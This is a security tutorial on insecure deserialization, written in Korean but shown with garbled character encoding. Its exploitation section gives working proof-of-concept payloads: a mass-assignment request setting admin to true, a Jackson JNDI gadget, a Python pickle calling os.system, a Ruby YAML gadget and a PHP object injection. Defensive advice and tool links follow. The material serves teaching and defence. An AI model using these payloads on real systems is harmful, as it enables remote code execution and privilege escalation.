Insecure Deserialization

Insecure Deserialization

in

๐Ÿ” Introduction

Insecure Deserialization์€ ์ง์—ญํ•œ ๊ทธ๋Œ€๋กœ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ญ์ง๋ ฌํ™”๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. Deserialization ์‹œ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ Object ๊นŒ์ง€ Deserializeํ•˜์—ฌ ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง์ƒ์˜ ๋ฌธ์ œ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ฑฐ๋‚˜, ์กฐ๊ฑด์— ๋”ฐ๋ผ์„œ๋Š” ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ์ฝ”๋“œ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฒŒ๋” ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์–ด ๋ฆฌ์Šคํฌ๊ฐ€ ๋†’์Šต๋‹ˆ๋‹ค.

๋จผ์ € Serialization/Deserialization ์„ ์•Œ์•„๋ณด๋ฉด ๋ณดํ†ต ๊ฐœ๋ฐœ ๊ณผ์ •์—์„œ ๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋Š” Object๋ฅผ ํŒŒ์ผ ๋“ฑ ์™ธ๋ถ€์˜ ๋ฐ์ดํ„ฐ๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ณผ์ •์„ Serialization, ๋ฐ˜๋Œ€๋กœ ํŒŒ์ผ ๋“ฑ ์™ธ๋ถ€์— ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํ”„๋กœ๊ทธ๋žจ ๋‚ด Object๋กœ ๋ณ€ํ™˜ํ•˜๋Š” ๊ณผ์ •์„ Deserialization์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

Deserialization์€ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด์ง€ ์•Š์€ ์ƒํƒœ์—์„  ๋ช…ํ™•ํ•˜๊ฒŒ Deserialization ํ”„๋กœ์„ธ์Šค๋ผ๊ณ  ํ™•์‹ ํ•˜๊ธฐ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์ถ”์ธก๊ณผ ํ…Œ์ŠคํŒ…์„ ํ†ตํ•ด ์ด๋ฅผ ์‹๋ณ„ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ์ ์œผ๋กœ Serialization/Deserialization์€ Object๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š”๋ฐ ์žˆ์–ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ฐ„๋‹จํ•˜๊ฒŒ๋Š” Config ๋ถ€ํ„ฐ ์‚ฌ์šฉ์ž ์ •๋ณด ๋“ฑ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ํ˜•ํƒœ๋กœ ์‚ฌ์šฉ๋˜๊ณ  ๊ตฌ์กฐํ™”๋œ ๋ฐ์ดํ„ฐ๋ฅผ Object๋กœ ๋ณ€ํ™˜ํ•ด์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— Input์ด ๊ตฌ์กฐํ™”๋œ ๋ฐ์ดํ„ฐ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. (๋Œ€ํ‘œ์ ์œผ๋กœ JSON, YAML ๋“ฑ)

Guessing

Object๋ฅผ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฉด ์กฐ๊ธˆ ๋” ์‰ฝ๊ฒŒ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์‚ฌ์šฉ์ž ์ˆ˜์ •ํ•˜๋Š” API ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ์‹œ๋‹ค.

GET /info HTTP/1.1

HTTP/1.1 200 OK
{
	"name":"anna",
	"job":"tester",
	"loginKey":"abcd3452352351asfd"
}

Response์—๋Š” ์‚ฌ์šฉ์ž Object์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ๋‚ด๋ ค์˜ต๋‹ˆ๋‹ค. ์ด ๋•Œ ์‚ฌ์šฉ์ž ์ •๋ณด ์ˆ˜์ • API๊ฐ€

POST /info HTTP/1.1

{"name":"1234"}

Error base

Serialization/Deserialization ๊ณผ์ •์€ ์„œ๋น„์Šค ๋กœ์ง์— ์ค‘์š”ํ•œ ์˜ํ–ฅ์„ ๋ผ์น˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ„์ ‘์ ์ด๋˜ ์ง์ ‘์ ์ด๋˜ ์—๋Ÿฌ ํ•ธ๋“ค๋ง์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋•Œ๋•Œ๋กœ ์ด๋Ÿฌํ•œ ์—๋Ÿฌ ์ •๋ณด๋ฅผ ํ†ตํ•ด์„œ Deserialization ์—ฌ๋ถ€๋ฅผ ์ฒดํฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ๋Œ€ํ‘œ์ ์ธ Serialization/Deserialization ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ธ fasterxml.jackson์˜ ์—๋Ÿฌ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—๋Ÿฌ๋“ค์„ ํ†ตํ•ด json์ด๋‚˜ yaml ๊ฐ™์€ ํฌ๋งท์˜ ๋ฐ์ดํ„ฐ๊ฐ€ Application ๋‚ด Object๋กœ Deserialization ํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

com.fasterxml.jackson.databind.JsonMappingException: 
No suitable constructor found for type 
[simple type, class org.baeldung.jackson.exception.User]:
 can not instantiate from JSON object (need to add/enable type information?)
 at [Source: {"id":1,"name":"John"}; line: 1, column: 2]
        at c.f.j.d.JsonMappingException.from(JsonMappingException.java:148)

WhiteBox Test

Deserialization ํ•˜๋Š” ํ•จ์ˆ˜๋“ค์ด ์ฃผ์š” ํฌ์ธํŠธ์ž…๋‹ˆ๋‹ค. ์™ธ๋ถ€์˜ ์ž…๋ ฅ์ด ํ•ด๋‹น ํ•จ์ˆ˜๊นŒ์ง€ ๋„๋‹ฌํ•˜๋Š”์ง€ ์ฒดํฌํ•˜๋Š” ํ˜•ํƒœ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต ์ฝ”๋“œ ๋ถ„์„ ๋„๊ตฌ๋“ค์ด ์ž˜ ์žก์•„์ค๋‹ˆ๋‹ค.

go

err := json.Unmarshal(rawData, &data)

java - jackson

ObjectMapper objectMapper = new ObjectMapper();

๋ณดํ†ต์€ Deserialization ์„ ์ƒ๊ฐํ•˜๋ฉด ๋ญ”๊ฐ€ ๋ณ„๋„์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋“ฑ์ด ์žˆ์„ ๊ฒƒ ๊ฐ™์ง€๋งŒ ๋‹จ์ˆœํžˆ JSON Marshal/Unmarshal ๋˜ํ•œ ๋Œ€ํ‘œ์ ์ธ Serialization/Deserialization ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค.

Exploitation

Attack hidden fields

Deserialization์€ ํฌ๋งท์— ๋งž๋Š” ๋ฐ์ดํ„ฐ๋ฅผ Object๋กœ ํ†ต์งธ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด Object์— ์–ด๋–ค ์š”์†Œ๊ฐ€ ์žˆ๋А๋ƒ์— ๋‹ค๋ผ์„œ ๋ณด์•ˆ์ ์ธ ๋ฆฌ์Šคํฌ๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŒ์•ฝ ์•„๋ž˜์™€ ๊ฐ™์€ ํ”„๋กœํ•„ ์—…๋ฐ์ดํŠธ ๊ธฐ๋Šฅ์ด ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ์‹œ๋‹ค.

POST /update_profile HTTP/1.1

{"name":"new_name","msg":"Hi"}

๋งŒ์•ฝ ๋ฐฑ์—”๋“œ๋‹จ ์ฒ˜๋ฆฌ๊ฐ€ ๋‹จ์ˆœํžˆ ์ „๋‹ฌ๋ฐ›์€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋””๋น„์— ์ €์žฅํ•˜์—ฌ ์ฒ˜๋ฆฌํ•˜๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ JSON ๋ฐ์ดํ„ฐ ์ž์ฒด๋ฅผ Deserialization ํ•œ๋‹ค๋ฉด, ์šฐ๋ฆฌ๋Š” name๊ณผ msg ์ด์™ธ์— ๊ฐ’์„ ๊ฐ™์ด ์ „๋‹ฌํ•˜์—ฌ profile์ด๋ž€ object์˜ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ •ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์šด์ด ์ข‹๋‹ค๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์ด hidden fields๋ฅผ ์ฐพ๊ณ , ์ด๋ฅผ ๋ฐ˜์˜์‹œ์ผœ ๊ถŒํ•œ์„ ์ƒ์Šนํ•˜๋Š”๋“ฑ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ์•ก์…˜์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

POST /update_profile HTTP/1.1

{"name":"new_name","msg":"Hi","admin":true}

Code Execution - Java

์ด ๋ถ€๋ถ„์ด Insecure Deserialization ๊ฐ€์žฅ ์ค‘์š”ํ•œ ๋ถ€๋ถ„์ด์ž, ๋Œ€ํ‘œ์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

import java.io.IOException;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonTest {
    public static void main(String[] args) throws JsonParseException, JsonMappingException, IOException {
        
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();

        StringBuilder d = new StringBuilder();
        d.append("[");
        d.append("\"ch.qos.logback.core.db.JNDIConnectionSource\"");
        d.append(",");
        d.append("{");
        d.append("\"jndiLocation\"");
        d.append(":");
        d.append("\"rmi://127.0.0.1:1097/rce\"");
        d.append("}");
        d.append("]");
 
        Object obj = objectMapper.readValue(d.toString(), java.lang.Object.class);
        objectMapper.writeValueAsString(obj);
    }
}

Java ๊ด€๋ จ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” Gadget ์ฝ”๋“œ์˜ ์‚ฌ์ด์ฆˆ๊ฐ€ ์ปค์„œ YsoSerial ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ํ™œ์šฉํ•˜์—ฌ Payload Gadget์„ ๋งŒ๋“ค๊ณ  Exploitํ•ฉ๋‹ˆ๋‹ค.

Code Execution - Python

import cPickle
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

Code Execution - Ruby

ruby yaml package

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

Code Execution - PHP

string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

๐Ÿ›ก Defensive techniques

Update library

Insecure Deserialization์„ ํ†ตํ•œ Code Execution ๋“ฑ์˜ ์ด์Šˆ๋Š” ๋Œ€๋ถ€๋ถ„ Library ๋‹จ์—์„œ ๋ณดํ˜ธ๋กœ์ง(e.g Sandboxing)์ด ๋ฏธํกํ•œ ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค. ๊ฐ€๊ธ‰์  ์ตœ์‹ ๋ฒ„์ „์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ์ฃผ๊ธฐ์ ์œผ๋กœ ํ™•์ธํ•˜์—ฌ ์—…๋ฐ์ดํŠธ ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

Trusted Field Clobbering

Code execution ์ด์™ธ์—๋„ Insecure Deserialization์œผ๋กœ ์ธํ•ด Object ๋‚ด ์˜๋„ํ•˜์ง€ ๋ฐ์ดํ„ฐ ๋ณ€๊ฒฝ์ด ์ผ์–ด๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋งŒ Deserialization์œผ๋กœ ๋ฐ˜์˜๋  ์ˆ˜ ์žˆ๋„๋ก ๊ตฌํ˜„ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€๊ธ‰์  ๊ฐœ๋ฐœ ๋‹จ๊ณ„์—์„œ ์ด๋ฅผ ์ฃผ์˜ํ•˜์—ฌ ํ—ˆ์šฉ๋œ Object์˜ ๋ฐ์ดํ„ฐ๋งŒ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œํ•œ์ด ํ•„์š”ํ•˜๊ณ , ๋งŒ์•ฝ Insecure Deserialization ์ทจ์•ฝ์ ์ด ๋ฐœ๊ฒฌ๋œ ์ƒํƒœ๋ผ๋ฉด ์„œ๋น„์Šค์—์„œ ์˜๋„ํ•œ ๋ฐ์ดํ„ฐ ์ด์™ธ์—๋Š” ์ˆ˜์ •๋˜์ง€ ์•Š๋„๋ก ๋ณ€๊ฒฝ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์“ฐ๊ธฐ์ „์— ํ•œ๋ฒˆ ๋” ๊ณ ๋ฏผ

Serialization/Deserialization์„ ์‚ฌ์šฉํ•˜๊ธฐ ์ „์— ๊ผญ ํ•„์š”ํ•œ ๋ถ€๋ถ„์ธ์ง€ ํ•œ๋ฒˆ ๋” ๊ณ ๋ฏผํ•ด๋ณด๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ•น Tools

Testing

  • https://github.com/frohoff/ysoserial
  • https://github.com/federicodotta/Java-Deserialization-Scanner/releases
  • https://github.com/mbechler/marshalsec

Mitigation

  • https://github.com/kantega/notsoserial
  • https://github.com/ikkisoft/SerialKiller
  • https://github.com/cschneider4711/SWAT

๐Ÿ“š Articles

๐Ÿ“Œ References

  • https://portswigger.net/web-security/deserialization
  • https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html